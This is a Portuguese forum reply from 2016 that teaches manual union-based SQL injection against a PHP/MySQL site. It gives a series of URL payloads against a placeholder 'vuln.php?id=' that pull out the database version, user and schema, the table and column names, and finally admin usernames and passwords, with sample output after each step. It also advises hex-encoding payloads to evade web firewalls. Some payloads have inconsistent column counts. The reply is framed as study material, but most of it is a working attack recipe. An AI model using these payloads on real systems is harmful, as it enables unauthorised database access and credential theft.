removido
(usa Nenhuma)
Enviado em 21/05/2016 - 21:03h
Também é possível fazer a injeção manual usando a opção --sql-query do sqlmap ou em programas que fazem http requests como nevegadores e outros.
Vou exemplificar uma injeção usando Union Based e alguns operadores SQL, que pode servir de base para os seus estudos (neste exemplo o servidor vulnerável usa MySQL e PHP e permite o uso de queries union based).
Extraindo versão do MySQL:
target.com/vuln.php?id=NULL+union+all+select+1,version(),3,4--
1
5.6.21
3
4
Como você pode observer, temos quatro colunas onde poderemos extrair os dados, na segunda coluna a versão do MySQL Server (após a versão 5 do MySQL, conta com o information_schema que registra a estrutura da database, nas versões anteriores para exploitar usando Union based era no método true/false, chutando o nome das tabelas e colunas).
Algumas informações:
target.com/vuln.php?id=NULL+union+all+select+1,concat(user(),0x3a,database()),3,4--
1
user:databasevuln
3
4
Extraindo tabelas:
target.com/vuln.php?id=NULL+union+all+select+1,concat(table_name),3,4+from+information_schema.tables+where+table_schema='databasevuln'--
tabela1
admin
tabela3
tabela4
Extraindo colunas da tabela:
target.com/vuln.php?id=NULL+union+all+select+1,concat(column_name),4+from+information_schema.columns+where+table_schema='databasevuln'+and+table_name='admin'--+
coluna1
id
username
password
email
logindate
coluna3
coluna4
Extraindo os dados:
target.com/vuln.php?id=NULL+union+all+select+1,concat(username,0x3a,password),4+from+admin--
coluna1
admin:hackme
coluna3
coluna4
Observação:
Dependendo do código vulnerável no script, nem sempre será possível fazer as injeções com Union Based, portanto não se limite apenas à isso.
Nem sempre as queries serão aceitas, atualmente existem web firewalls que bloqueiam certos tipos de requests, um método de bypass é criptografar todo o payload em hexadecimal.
A injeção de SQL pode ser feita em qualquer script web que utilize SQL, também em qualquer outra linguagem que trabalhe com SQL.
Em alguns casos é necessário verificar tabela por tabela, coluna por coluna, com o operador "limit".
Bons estudos!
[]'s
--
Just bring us some beers, and then we can talk about our systems. :)